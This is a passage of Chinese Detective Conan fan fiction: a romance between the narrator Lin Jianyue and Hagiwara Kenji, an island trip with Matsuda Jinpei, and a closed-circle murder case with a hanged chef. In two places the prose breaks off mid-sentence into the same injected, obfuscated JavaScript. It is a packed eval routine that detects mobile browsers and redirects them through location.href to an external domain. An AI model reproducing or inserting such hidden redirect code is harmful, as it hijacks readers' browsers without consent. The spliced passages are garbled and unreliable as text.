林见月不该会被萩原研二吹在伤口上的呼吸缓解疼痛,但她的注意力确实被转移了,像行走在盛开的油菜花田,雨后初晴,沾着干净露珠的新叶撩过皮肤。 痒。 但似乎又带着一丝温润的难以描述的炙热气息。 酥酥麻麻的感觉顺着膝盖处的神经直达脊髓。 纤细但爬满茧的手指不安地攥紧裙摆,林见月形容不来这种感觉。她盯着萩原研二的发窝,强行岔开注意力:“你怎么会在这里?” 萩原研二抬头笑,阳光透过白纱窗帘落在他脸上,干净耀眼:“今天难得休息,就想着来你读研的地方看看。” “我说的是这里,医务室。” 萩原研二弯了弯嘴角:“我听说食堂发生骚动,去的路上遇到了柯南。他说有个认识的大姐姐受了皮外伤,去医务室了。我猜应该是你,就来了。” 林见月蹙眉:“你不用去追捕凶手吗?那家伙差点杀掉我老师。” 提到这个,萩原研二脸上的笑容变得勉强,眉头也拧成一团。 他似回忆起什么震撼人心的事,从喉咙里发出几个单音节,才缓缓道:“我赶到时,柯南正一脚踹向路边的花盆。那玩意以我不能理解的速度正中五百米外的嫌犯的后脑勺,把人给踢晕了。” “你很意外?” “当然意外。我以为世界上不会有比小降谷和小阵平更大猩猩的人了,没想到……”他无奈笑笑,感叹道,“这孩子未来可期。” “未来可期的不是他,是你上次登门检查时,在自家后院引起爆炸的阿笠博士。”林见月语气平淡,“柯南是借助他发明的球鞋才达成猩猩成就。” 刚说完,林见月骤然想起剧场版里,柯南不仅用一颗巨型足球拦停急速行驶的磁悬浮列车,还凭借肉体凡胎摆脱惯性,打出一套能把牛顿和达尔文气得同时掀棺而起的操作。 她默了一瞬,突然改口:“这孩子确实未来可期。” “诶?”萩原研二愣了愣,没追问她改口的原因。 虽然有着被所有人称赞的超强洞察力,但他向来不喜欢过度探究别人的事,总能精准拿捏社交距离 紫眸上抬,倒映出林见月蹙眉思考的脸。 但林见月是例外。他想知道和她有关的全部,从过去到未来,直至将她全部占据。 林见月从乱糟糟的思绪里抽回注意力时,萩原研二已经低头继续为她处理起右腿膝盖处的伤口。 温柔的带着萩原研二气息的风溜过薄唇,轻飘飘落在她的皮肤上。痒意再次似水中涟漪,向四面八方荡漾开。 林见月坐在床沿,一只脚自然垂落,另一只脚踩着萩原研二半跪的大腿。 踩在萩原研二身上的那条腿被迫微微抬高,半截白花花的大腿肉若隐若现。 但萩原研二自始至终只是低着头,睫毛低垂,专注且温柔地为林见月处理膝盖处的伤。 他的指腹偶尔会不经意间擦过林见月的小腿,每每这时,林见月就像被烫到般缩一下肌肉,脚掌在萩原研二大腿上滑动半寸。 大概过去了半分钟,也可能只是十来秒——反正对林见月而言,时间仿佛在这一刻被拉长。 萩原研二温柔地放下林见月的脚时,她的耳尖已经爬上一抹红。 林见月在梦里对萩原研二做过更过分的事,但自以为掌控全局的肆无忌惮,和被萩原研二反向掌控时的无意识撩拨,是两种截然不同的体验。 包扎完最后一圈纱布,他仰头看她,眼里裹着心疼,和被雨淋湿的小狗般的可怜:“发生这么危险的事,为什么不给我打电话?” “我已经报警了。” “可是你明明可以打给我。” “但我以为……”林见月顿了顿,“就算打,我也该打给松田。” 萩原研二立刻故作生气地鼓起腮帮,眼底却掠过一丝晦暗,像被乌云遮住的月亮:“我也是警察啊,打给我也一样的。又不是以男朋友的身份出现,是以正义警官的身份。” 说话间,他不忘小心翼翼地帮林见月整理好裙子下摆,然后站起身。 林见月没接话,只安静地和萩原研二对视。她也不知道自己为什么不给萩原研二打电话,大概因为她在感情上是个偏执又优柔寡断的人。 想像个渣女一样理所应当地享受萩原研二的好,又做不到像感情骗子那般,肆意作践萩原研二的爱意。 叮叮咚。 一连串手机铃声打破了两人间逐渐尴尬的氛围,林见月从包里翻出手机看了眼。 是老师打来的。 她按下接听键,老师带着点虚弱的声音从听筒里传来: “见月,凶手已经抓到了,我平安无事。” 虽然早知道会是这个结果,但听到老师报平安的声音,林见月还是莫名有些感慨。她用力吸了下鼻子,长舒一口气:“老师,您没事实在是太好了。” 电话那头静了几秒,似乎在调整情绪:“见月,上次帮旅游公司画的宣传画反响很好,他们除了工资,还送了份双人海岛游套餐,时间是明天。” “全程免费,岛上的消费直接刷他们给的黑钻卡就行,机票酒店也都包了。” 林见月笑着回应:“恭喜老师,正好老师可以出门改善心情。” 她丝毫没注意到,原本站在她面前的男人已经和她并排坐到床上。宽大的属于男人的手掌像个鬼鬼祟祟的小偷,一点点靠近她搭在床沿处的手,悄无声息。 老师的声音继续传来:“我原本打算带丈夫一起去,但我现在只想回家歇几天,把旅游和手头的工作都打算往后推。” 手被轻轻碰了下。 “这套餐浪费了可惜,你要是有空就拿去用吧。” 萩原研二的手指试探着探进她的指缝间,动作轻得像怕惊飞蝴蝶。大概是梦里时常亲密,十指相扣的感觉太过熟稔,林见月甚至没察觉到不对劲。 “别担心工作,我已经跟合作方打过招呼了,接下来三天不需要处理任何工作,你的作业也可以延后。” 林见月听懂了老师藏在疲惫语态下的感激,她惊喜地瞪大眸子。一时不知是该先高兴老师的特殊照顾,还是该先高兴能出门旅游。 她来日本小半年,每天不是赶稿就是补觉,都没去过东京铁塔以外的景点。 海岛游,双人的,明天出发,还不用工作。 想想都觉得很棒。 连番感谢后,林见月挂断电话。她开心得眉眼都弯成月牙,抬眼时,正好对上萩原研二望过来的视线。 男人就坐在她身侧,上半身微微倾向她,眼里带着点恰到好处的好奇:“谁的电话?” “老师。她把旅游公司送的双人套餐让给我了。我打算——” 林见月骤然顿住,她举起左手,顺势把和她十指相扣的萩原研二的右手也举起来。 他的指腹带着薄茧,滚烫的温度透过皮肤传递过来。 林见月沉默地盯着交握的手看了几秒,缓缓抬头看向他。 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话没说完,林见月突然抬手捧住他的脸,用力往她的方向拽。 额头上传来柔软的触感,像羽毛落下。 萩原研二瞳孔骤缩,心脏猛烈地撞击着胸腔,像要跳出来。 林见月短暂地在萩原研二额头落下一吻,随即松手,身子往后靠了靠。 但她和萩原研二的距离不远反近。 他不知何时已经回过神来,悄无声息地压了过来。高大的身影挡住光,投下大片阴影,落林见月脸上。 萩原研二逆光而立,看不清表情,但眸色沉沉的,像有漩涡在里面打转,要把她吸进去。 他抬手撑在床沿,将她虚虚圈在怀里。脸一点点压近,呼吸即将交缠时,他却停住了,嘴唇离她只有半指远。 林见月似受惊的鹿般屏住呼吸,心怦怦狂跳。她盯着近在咫尺的男人,内心有个声音催促着她主动吻上去,吻他的唇。 但直觉告诉她,这次不能主动。再往前一步,就会越过某个看不见的界线。 “我以为你不想和我有肢体接触,” 萩原研二的声音有点哑,带着点小心翼翼的试探,“刚才在门口,你都不愿意让我抱你。” ——不,不讨厌。恰恰相反,我很喜欢。 但这句话可能会变成打开关押着怪兽的闸门的按钮,林见月抿唇,咽下差点脱口而出的话。 沉默在两人间蔓延。 萩原研二盯着林见月看了几秒,叹了口气,转而在她脸颊上轻轻啄了下。他直起身拉开距离,脸上重新笑意盈盈,语气也恢复了平常:“双人海岛游,你打算和谁一起去?” 林见月犹豫着要不要邀请萩原研二,余光却瞥见完成收尾工作的佐藤警官从楼下走过。 她骤然想起警视厅警察之间的爱情诅咒。 “研二,你小时候有没有遇到什么刻骨铭心的人?”林见月问。 “怎么突然问起这个?” “想知道你的过去。” 林见月晃了晃脚,避开男人的视线,“有没有什么刻骨铭心的人或事?我想了解。” 尤其是有没有天降的白月光。 萩原研二的眼睛瞬间亮起星光,他紧挨着林见月坐下,认真地回忆起来。 萩原研二温柔又细腻,能轻而易举地记住很多微小的让他感动的人或事,哪怕已经过去很多年。 他笑意盈盈地给林见月讲述自己的过去,从小学到国中,再到高中。故事的主角,男女都有,每件事都带着温度。 可说着说着,他突然谨慎地停住了。虽然不理解,但林见月看他的眼神不太对,有点像是……鄙夷? 萩原研二愣了愣,飞快地在脑子里过了一遍陈述的内容。 他应该没做过什么道德败坏的事。 ……吧? 结果下一秒,林见月拿起手机,故作轻松又带着几分咬牙切齿:“松田警官,明天陪我去旅游吧。” 萩原研二和电话那头的卷发警官同时发出了不解的声音:“诶?” 17.独家 海风带着夏日的气息穿过发丝,松田阵平坐在副驾,半条胳膊搭在车窗上,卷发被风胡乱的卷起。 驾驶座,专心开车的萩原研二直白地把生闷气写在脸上。 车刚停稳在码头边,萩原研二就利落地打开后备厢,把两个塞得鼓鼓囊囊的行李袋一股脑塞进松田阵平怀里。 “见月就拜托你了。” 意料之外的重量让松田阵平沉了下腰,他掂了掂左侧的属于他的深蓝色行李袋,眉头拧成一团:“萩你该不会悄悄往我行李袋里塞哑铃了吧。” 萩原研二怔了下,靠在车门上,用一种看笨蛋的眼神看向松田阵平:“你在说些什么胡话,是不是你缺乏锻炼,体力下降了。” 松田阵平嗤笑一声:“哈?我缺乏锻炼?” 他还想继续说点什么,却见萩原研二越过他径直走向林见月。 男人伸手扶住林见月的肩膀,微微弯腰,在她额角落下一个轻得像羽毛的吻:“玩得开心。” 松田阵平啧了声,抱着行李率先踏上前往海岛的小船。木板被踩得吱呀作响,像是在替他表达那点藏不住的嫌弃。 船上零星坐着七八位游客,都是来度假的,海风卷着咸湿的气息扑面而来,倒驱散了不少晨间的燥热。 和兴致勃勃的林见月不同,松田阵平在放好行李后,便随便找了个座位,倚着窗户吹海风。 他今天穿了件黑色连帽卫衣,额前的碎发被风吹得有些凌乱,少了西装在身时的凌厉,多了几分难得的松弛感。 松田阵平杵着下巴,不动声色地将视线挪向正背对他四处拍风景照的女人。 绝对不是错觉,林见月在有意识地和萩原研二维持距离。 但…… 松田阵平懒洋洋收回视线,重新看向波光粼粼的海面。他都能看出来的事,以萩那家伙的敏感度,又怎么可能察觉不到。 算了,反正不关他的事。 然而这份松弛没维持多久,很快被一道短信提示音打破。 松田阵平摸出手机看了一眼,额角的青筋倏地跳了跳,随即勾起一抹格外恶劣的笑。手指开始在屏幕上飞快戳动,像在和屏幕那头的人斗嘴。 另一边,林见月正找着角度对大海猛猛拍照,却听身后响起一道清脆却让她头皮发麻的童声。 “见月姐姐,你也在这里啊。” 林见月登时全身的汗毛瞬间炸起,指尖冰凉。她缓缓回头,以一种不想面对的表情对上江户川柯南笑意盈盈的脸。 柯南身后,毛利大叔四仰八叉地瘫在椅子上,一副要死不活的样子。毛利兰则双手叉腰,气呼呼数落着他昨晚宿醉的事。 林见月垂眸重新看向面前的笑嘻嘻的小侦探,彻底笑不出来:“柯南,你为什么会在这里?” “我们昨天吃饭的餐厅在搞抽奖活动,小兰姐姐抽到了一等奖,所以就来了。” 林见月默了一瞬,蹲下身子和江户川柯南平视,认真发问:“你能不能帮我问问小兰。” “什么?” “她可不可以帮我买一张彩票?” 江户川柯南脸上表情空白了一瞬,而后一脸无语地看向林见月:“喂喂,人怎么可以整天幻想着不劳而获,而且小兰姐姐只是运气好了点,怎么可能真的中彩票大奖。” 林见月毫无反省之意:“真抱歉,我就是这样一个妄图天上掉馅饼,整天幻想不劳而获的糟糕的成年人。” 不等柯南开口,林见月用力在他头顶揉了几下,语气温和得像即将融化的奶油蛋糕:“昨天谢谢你了,大侦探。” 柯南双手枕在脑后,得意地扬起下巴:“一点小事而已。” 林见月盯着他镜片后的眼睛,忽然开口:“你好像开始信任我了?” “愿意奋不顾身救别人的人,怎么会是坏人呢?” 柯南歪了歪头,语气里带了点小得意:“不过……见月姐姐,你上次说知道我在想什么,果然是骗人的吧。居然吓唬小学生,真恶劣。” 他是指林见月的学长遇害的那次案件。 林见月平静中带着一点惊奇:“居然真的把你给吓唬住了吗?” 江户川柯南再次沉默,用一种看透一切的表情看向林见月。 如果林见月此时翻开漫画书,就会看到柯南身后会出现一个写着“你果然是个恶劣的大人”的气泡。 忍住凑到柯南耳边喊出他大名的冲动,林见月伸手拍了拍他的脑袋。 “听说岛上的私人放映厅里收藏了从1950起至今的所有电影片源,登岛后要不要一起看电影?” 江户川柯南兴致缺缺:“我知道,那里珍藏了好几部优质的老电影,但90年以前的影片只有SVIP才有权借阅。” “感兴趣?” “还好吧,也就那样。” “这样啊……”林见月从挎包里抽出一张和银行卡差不多大小的银白色的卡,在柯南面前晃了晃。 “我原本打算问问你有没有感兴趣的电影,毕竟你也算我老师的救命恩人。但既然你没兴趣,那就只好我一个人去了。” 看到林见月手里的卡,柯南的眼睛唰地亮了,像突然被点亮的灯泡。他跳起来去够林见月手里的卡:“快让我看看!” 他接过卡片翻来覆去看了两遍:“见月姐姐想看什么类型电影,我有几部不错的推荐哦。” “推理片吧,我想看推理片。” 江户川柯南把卡递还到林见月手里,激动地把手攥成拳头,握在胸前:“我就知道!像见月姐姐这样勇敢又充满正义的人,肯定会喜欢看推理片!” “我推荐你杰瑞米版本的福尔摩——” “当然是阿加莎女王的《无人生还》,阿加莎女王天下第一。”林见月笑眯眯打断柯南的话。 “诶?”江户川柯南怔住,随即大声抗议起来,“乱讲!柯南道尔才是第一!福尔摩斯可是推理界的神!” 林见月苦恼蹙眉,作出思考状:“可我觉得,阿加莎笔下的波洛大侦探才是天下第一。” “唔。”柯南急得直跺脚,恨不得在地上撒泼打滚,又硬生生忍住。 现在的柯南还做不到毫无包袱地闹着说尿急或者打滚耍赖,他只能气呼呼瞪着林见月,像只被惹毛却无处撒气的小猫。 “林。”冷不丁的男声打断了两人的争执,松田阵平不知何时走了过来。 他脸上挂着笑,眼里却透着股咬牙切齿的劲儿。 没等林见月反应,他突然伸手揽住她的肩膀,将人往自己怀里带了带,另一只手举起手机,咔嚓一声按下快门。 林见月懵了一瞬,眼角余光瞥见他手机屏幕上弹出的联系人——萩原研二。紧接着,那张带着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983741|177045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茫然表情的合照就被发了过去。 整套动作行云流水,没有半分逾矩,只剩明晃晃的、想气死损友的恶意。 松田阵平松开手,指尖在屏幕上敲敲打打,嘴角的弧度越发恶劣。 “怎么了?” 林见月整理了下因松田阵平的动作而从肩膀上滑下去的挎包。 “没什么。” 他头也没抬,语气轻飘飘的,脚边拉开拉链的行李袋里赫然躺着两个标有10kg的黑色哑铃,“就是被某个欠扁的幼稚鬼给气到了。” 顿了顿,他抬眼看向林见月,眼神带着些歉意,“抱歉,刚才没吓到你吧?” “没事。” 林见月摇摇头。 这时,毛利兰走了过来。 看到林见月时,她先是露出欣喜的神色,随即转为歉意:“抱歉见月小姐,新一他还是没回来。不过别担心,我爸爸也是侦探,我可以拜托我爸爸帮忙。” “不用了哦,小兰姐姐。” 柯南突然插进来,双手插在裤兜里,一副洞察一切的模样,“见月姐姐旁边的这位哥哥,其实是警察吧?” “而且是贴身保护见月姐的警察。” “看来见月姐姐最后还是选择向警察求助了。” “诶?”小兰惊讶地抬手挡住嘴,“我还以为这位先生是见月小姐的男朋友。” 林见月不答反问:“柯南,你为什么不觉得他是我的男朋友?” “因为你们看上去一副不熟的样子。” 林见月沉默几秒,故意往松田阵平身边靠了靠,伸手挽住他的胳膊。 指尖刚碰到松田阵平的胳膊,男人的身体猛地僵住,像只受惊假死的山羊。 “我们只是吵架了而已,对吧?” 林见月虽然主动挽住了松田阵平,身体却和他隔着一段距离,像在端着一盘烫手的山芋。 松田阵平沉默了足足三秒,才从牙缝里挤出一个字:“嗯。” 空气瞬间变得尴尬,林见月和松田阵平对视一眼,都从对方眼里看到了 「这样下去不行」的念头。 就算不像情侣,至少也得像关系过得去的朋友吧。 松田阵平烦躁地抓了抓卷发,拽着林见月往船舱角落的空位走:“来找点共同话题。” 可能是预想到接下来要聊的话题,他抽出墨镜戴上,蓦然有些心虚:“我们来聊萩吧。” 林见月杵着下巴问:“你能给我讲讲他小时候的事吗?” “可以。” 松田阵平点头。 “那他……有白月光吗?” 林见月追问,语气里藏着点不易察觉的认真。 松田阵平回忆了一下,嗤笑一声:“他有没有白月光我不知道,但他从小到大,在学校里经常是班上女生的白月光。” 林见月闻言,托腮陷入了沉思:“女生们的白月光啊……” 她望着窗外掠过的海浪,睫毛垂下,遮住了眼底的情绪。 船舱里只剩下海浪拍击船身的声音,安静了好一会儿,松田阵平突然没头没尾地丢出一句:“放心,他会是个不错的男朋友。” 语气算不上温和,甚至带着点他惯有的漫不经心,却奇异地透着点笃定。 他勾了勾嘴角,恶劣地笑了:“你信不信,你现在给他发一条求救短信,他能立刻跳进海里游过来找你?” 林见月抬眼,带着一丝不确定:“……我不信。” 18.独家 上岛第一天还算相安无事。 林见月背着手绘板走在前面,松田阵平双手插兜跟在后面,影子被夕阳拉得老长。 两人靠交换有关萩原研二的情报,迅速熟络。 从小学的时候萩原研二死皮赖脸地蹭过来说要和他交朋友,把他连哄带骗拽回家吃饭。 到他们在国中时的某个大夏天,连拆家里的两台空调,然后被萩原姐按在地上暴揍。 再到高中时的某个雨后,隔壁邻居家养的大型犬在水坑里裹了一身泥,欢呼着朝萩原研二扑过去。穿着新衣服的萩原研二撒腿就跑,被追出两公里。 林见月边听边笑,突然停下脚步,从双肩包里探出平板:“等等,这个画面得记下来。” 她说话时,嘴角还扬着没散去的笑意。细碎的光在眼底流转,像把星星揉碎了藏进眼底。 画图软件刚打开,主页的快速预览区就密密麻麻铺展开,萩原研二几乎占据了2/3。有已经完成的,也有画到一半,半途而废的。 松田阵平墨镜后的眸子沉了沉,视线从屏幕移到林见月专注的侧脸,嘴角几不可察地勾了勾,目光里多了几分认可。 指尖在屏幕上快速滑动,几笔就勾勒出一个满脸惊慌的青年轮廓,身后还追着一只吐着舌头满脸喜悦的大金毛。 她画得专注,连松田阵平走到身边都没察觉,直到对方嗤笑一声:“他当年可比这狼狈多了,鞋都差点跑掉一只。” “真的?” 林见月眼睛一亮,立刻在青年脸上补了几笔狼狈的姿态,嘴角的笑意更深了,“那得补上去,细节很重要。” 松田阵平看着她眼里的光,墨镜后的眸子柔和了些。他忽然觉得,让这两人凑到一起,或许是件不错的事。 初闻林见月的事,他最初是反对的,试图揪着萩原研二去看心理医生或者看上去不靠谱但据说很灵验的住持和尚。到后来默许不干涉,现在则是彻彻底底地支持了。 “不过萩也有很帅的时候。” 他话锋一转,决定好好夸夸自家幼驯染。 “比如?”林见月平静但难掩眼底的期待。 “比如……”然而松田阵平诡异地陷入了沉默。 脑子转了一圈又一圈,能想到的似乎都是些萩原研二如何用高情商巧妙化解被女生告白的尴尬的神奇操作。 至于飙车极速追击,拆弹,追凶……这些在其他人看来英勇无比的英雄事迹,在松田阵平看来都是些稀疏平常的不值得一提的小事。 嘴边的话匆匆眼回去,松田阵平无奈地撇了撇嘴:“还是留着你自己去见证吧。” 翌日傍晚,狂风毫无征兆地卷过海面,天空像被戳破的墨囊,倾盆大雨骤然而降,砸在玻璃窗上噼啪作响。 林见月盯着窗外白茫茫的雨幕,指尖无意识地抠着手绘板的边缘,心里莫名发沉。 打着「纵享野性美味」烂俗标语的餐厅里空荡荡的,只零零散散坐着几个人。壁灯的光落下来,映得地板发亮。 这家餐厅只提供简单加工过的食材和烤架,由客人自助烹饪。 松田阵平带着林见月选了离门近的位置,刚坐下,角落就传来毛利小五郎的呵斥:“开什么玩笑!我们都等了半个小时了!” 唯一的女招待连连道歉,不停鞠躬,就差头快磕到桌子上:“对、对不起……” 松田阵平皱了皱眉,起身走过去:“怎么回事?” 本该在前台接待处工作的女招待攥着手指,怯生生抬头:“厨师他……不在后厨。到处都找过了,没人,” “不见了?” 松田阵平和柯南同时起身,脸色一凛,往后厨走。女招待虚拦了两下,便低着头在前面带路。 后厨干净得过分。灶台上的铁锅敞着口,不锈钢桌上摆着一箩筐剥了一半的洋葱,菜刀斜摆在案板上,刀刃还沾着片西芹叶。 不像离开很久,倒像下一秒就会有人回来继续掌勺。 “可能临时有事吧?” 小兰跟在后面,看着那堆洋葱轻声说。 林见月垂着眼,没接话。比起临时有事,她更觉得这场景像极了柯南漫画里死者已就位的前奏。 也许下次出门前,她应该先给江户川柯南打个电话,确认他的行程,然后再行动。 众人又等了半刻钟,墙上的挂钟指向八点,窗外的天色彻底沉了下来,雨没有停,厨师依旧没出现。 “见月小姐,要不我们自己做点吃的?” 毛利兰系上围裙,手里握着半个洋葱,笑意盈盈。 林见月抬了抬眼皮,语气坦然:“抱歉,我从没进过厨房,不会做饭。” “诶?” 小兰的眼睛睁大了些,连旁边打哈欠的毛利小五郎都顿了顿。 在日本,女性完全不碰厨房实在罕见。就连妃英理那样只会做黑暗料理的女人,也会在一些值得庆祝的日子特意下厨,亲手为家人做上能毒死人的四菜一汤。 “没关系呀,我来做就好。” 小兰很快笑起来,拿起菜刀开始切洋葱,“你在旁边歇着就好。” “我还是帮你洗菜吧,”林见月走到水槽边,“不过得教我怎么洗才干净。” 松田阵平也默默挽起袖子,从麻皮袋里翻出两个土豆,指尖在粗糙的表皮上蹭了蹭。 “见月姐姐连洗菜都不会吗?” 柯南枕着胳膊,语气里带着点小大人的调侃。 “不会,而且不能分清所有菜。”林见月坦然地站在原地,没有任何被拆穿后的无所适从,“我家有做饭阿姨,我不需要进厨房。” 而且父亲也不会准许林见月把时间浪费在下厨这种在他看来毫无意义的琐事上。 说完,林见月从毛利兰手里接了一把生菜,在她的指挥下对着水龙头冲洗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998642|177045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厨房很快飘出香味。 荷包蛋边缘泛着焦糖色,味噌汤的热气裹着昆布的鲜,连最简单的小食都透着清爽。 林见月往嘴里扒了一大口饭,惊愕地瞪大眼眸:“小兰的手艺真好。” 随即视线不咸不淡地落向同样在大口吃饭的毛利小五郎身上。 如果日本男人都是毛利小五郎这种宁愿让读小学的女儿踩着椅子做饭,也不愿意下厨的男人,她这辈子都不会和日本男人结婚。 但仔细想想,青山笔下的存活时间比较久的男人,似乎或多或少都有他本人大男子主义的影子。 晚饭,小兰刚要伸手收拾碗筷,林见月突然拉住她的手腕:“别管碗了,我带你去别墅旅馆的私人影院。我知道几部很经典的女性主义电影。” “可是碗……”小兰的目光落在桌上的狼藉上,带着点习惯性的顾虑。 “做饭的人不用洗碗,这是规矩。” 林见月笑了笑,转头看向正准备溜号的毛利小五郎和柯南,“而且毛利先生和柯南可是家喻户晓的名侦探,这样的人一定不会让女孩子承包所有家务的,对吗?” 被点名的两人脚步一顿,一脸茫然地看着她,像是头回遇到要他们做家务的要求 “洗碗就拜托啦,兰,我们走。”没等小兰反应过来,林见月就拉着她跑出餐厅。 身后还远远传来毛利小五郎抗议的声音和柯南无奈的轻啧。 松田阵平双手插兜思考片刻,慢吞吞跟了上去。 地下室,只面朝SVIP开放的私人影院。 林见月刷过银白色的卡,门禁嘀一声解锁,可门却推不动,像被什么东西卡住了,只开了道缝。 林见月的指尖顿在门板上,第一反应是尸体。她起了一身鸡皮疙瘩,沉默地收回手,转身看向倚墙而立的男人:“阵平,你帮我把门推开吗?” “嗯?”松田阵平抬了抬眼。 “好像被东西卡住了,”林见月顿了顿,补充道,“说不定是尸体。” 松田阵平眸色瞬间沉了下去,他上前一步,用力一推,门应声打开,随之响起的还有堆在一起的DVD碟片和胶卷坍塌的声音。 稀里哗啦的动静里,一道黑影突然压下来。 绳子摩擦的声音在空旷的房间里格外清晰,怪异而不祥的咯吱咯吱的轻响钻进耳朵,悬在半空的影子在应急灯的光线下轻轻晃动。 小兰的尖叫猛地刺破寂静,林见月的喉咙却像被什么堵住了,所有声音都卡在胸口。 厨师的白色制服被绞在绳子里,头歪向一边,眼睛突兀地瞪着,发紫的舌头垂在嘴角。 随着坍塌突然从天而降的尸体就悬挂在她面前,离她只咫尺,几乎是脸对着脸。 真实的死亡远比漫画里的狰狞。林见月下意识后退一步,后背撞在灯架上,冰凉的触感顺着脊椎爬上来。 19.独家 屋外大雨初歇,寒气钻过玻璃渗进屋。 厨师的尸体刚被抬走没多久,第二起命案就紧跟着来了。 这次的受害人是先前在餐厅忙前忙后不停道歉的女招待,她被人砍了好几刀,睁着眼睛倚墙坐在血泊中,没了生息。 这次的第一发现人不是林见月,她没敢走近,只远远瞥了一眼。 从动脉喷出来的血溅得到处都是,死掉的女招待生垂着脑袋坐在血迹中|央,像朵盛开的人血花。 漫无边际的夜色和岛边波涛的海浪断绝了凶手外逃的可能性,也阻隔了外援赶到。 电话里,目暮警官的声音隔着电流传来,带着些无奈:“天气太差,海上浪太大,我们得等日出才能出发,你们一定要注意安全。” 经典的暴风雪山庄模式。 凶手和受害人被困在某个狭小的地域范围,进行一场侦破与厮杀。 江户川柯南推了推眼镜,站在休息室中央,语气比同龄人沉稳得多:“我建议所有人聚在一起。这样既能互相保护,也能互相监督,防止凶手继续作案。” 松田阵平没有发表意见。他倚在门边,单手插兜,另一只握着手机,指尖在屏幕上快速点动,似乎正在和某人传信。 林见月则独自坐在桌边,撑着脑袋,昏昏沉沉的。 但不是所有人都买柯南的账。 “凭什么听你的?”一个烫着夸张红色挑染的男人把袖子撸到胳膊肘,语气冲得很,“你个小鬼头懂什么?侦探又没有执法权!” 他身边几人也跟着附和,吵吵嚷嚷地就要往门外走,连毛利小五郎亮出「沉睡的名侦探」的名号也拦不住。 就在挑染男人即将踏出休息间门槛时,倚在门口的松田阵平突然动了。 他咚一声抬起腿踩在对面门框上,动作快得像道影子,拦住所有人去路。 “松田阵平,警视厅警视。”他亮出警官证,证上的照片眼神锐利,和他此刻的神情如出一辙,“辛苦各位配合调查。” 红挑染男人梗着脖子喊:“警察又怎样,你有搜查证吗?凭什么限制我们自由!” 松田阵平冷嗤一声,弯了弯嘴角:“入户检查才要搜查证。现在是命案调查,配合警方是公民义务。”他声音不高,却带着一股不容置疑的压迫感。 林见月已经无心听几人吵吵嚷嚷的声音,她枕着双臂趴到桌上,脸颊贴着微凉的木纹桌面,突然涌上一阵强烈的后悔。 不该贪玩的。 她连续熬了几个大夜赶稿,登船前明明还在考虑办理完入住后直接回房睡觉,让松田阵平先自己逛。 结果登岛后先是被岛上新奇的风景吸引住视线,再被和萩原研二有关的话题勾了魂。她一时沉迷,把睡觉的事抛到了九霄云外——大不了明天再补觉。 但在私人电影院被吊死的厨师突脸后,她现在只觉得太阳穴突突直跳,连眼皮都重得抬不起来。 林见月疲惫地阖上眼,然而只几秒,她便受惊般迅速睁开。 只消闭上眼,厨师肿胀发青的脸就会出现在她眼前。他瞪着已经浑浊发灰的眼珠,被一根绳子挂在空中,看着她。 果然,她不是当主角的命。 平时看的同人小说里,主角对上尸体都异常冷静,甚至能加入柯南成为东京智囊团之一,抽丝剥茧,找出真相。 甚至还有些高智商穿越者,能将主角玩弄于股掌,但她完全不行。 林见月眼睫颤了颤,看向不远处的柯南。真正的故事主角此刻正蹲在地上,盯着地毯上的一处痕迹皱眉,专注思考。 她对红黑对决和推理、智斗无半分兴趣,她只想和小侦探打好关系,以便结识他身后厉害的大佬,早日成为身价千万的超厉害的插画师。 她大概就这点出息了,现实得无药可救。 但只要她继续和柯南做朋友,就会不停遇到各种各样的凶杀案。 林见月难受地在胳膊上蹭了蹭额头,眼帘半垂,雾气氤氲的眸子里倒映出柯南低头思索的样子。 唯一值得庆幸的是,被戏称为童年阴影的案件几乎都发生在早期。后期大家会死得越来越合家欢,不会像漫画初期那样,像颗被踩炸的西红柿般把血溅得满墙都是。 只要熬过前几个月,一切就会变好。 林见月坐起身,下意识打开萩原研二的聊天界面,手指却悬停在对话框里,不知道该说些什么。 ——你信不信他能立刻跳进海里游过来找你? 林见月垂下眼睑,手指颤了颤,发过去一句干巴巴的话:『在做什么?』 想要安慰。 却无论如何都开不了口。 可手机那头迟迟没有回信,对话框诡异地陷入了沉默。林见月唇瓣颤动,心倏地紧了一下,说不清是委屈还是别的什么。 “见月小姐?”小兰的声音在耳边响起,轻飘飘的,带着担忧,“你看上去脸色不太好,还好吗?” 林见月摇摇头,扯出个浅淡的笑:“我没事。” 松田阵平也大步走过来,宽大的手掌在她额头短暂一覆,又迅速收回去。他蹙眉:“还好吗?我等会儿要去查案,可能顾不上你。” “没关系。”林见月把手搭在自己额头上,“我没发热,就是没休息好,又受了点惊吓,睡一觉就没事了。” 松田阵平正欲再说些什么,屋外突然传来一阵尖利的惨叫,裹着恐慌的情绪,将死气沉沉的氛围扎破一个洞。 柯南和毛利小五郎几乎是同时弹起来,率先冲了出去。松田阵平脸色骤沉,冲小兰叮嘱了几句,也紧跟着跑了出去。 林见月却在此时慢吞吞站起身,对小兰说:“兰,我想回房间一趟。” “可是……”小兰有些犹豫。 “我去拿条毯子就回来。”林见月笑了笑,尽量让自己看起来轻松些,“这里有点冷。” 小兰只犹豫了一秒,便有了决定:“我和你一起去吧,松田警官拜托我尽量和你待在一起。” 她顿了顿,体贴地补充:“要是累了,回房间睡一觉也可以,我会守着你的。” 林见月没再反对,和毛利兰一起慢吞吞走向电梯。镜面映出她们的影子,一个忧心忡忡,一个疲惫不堪,但脸色都不太好。 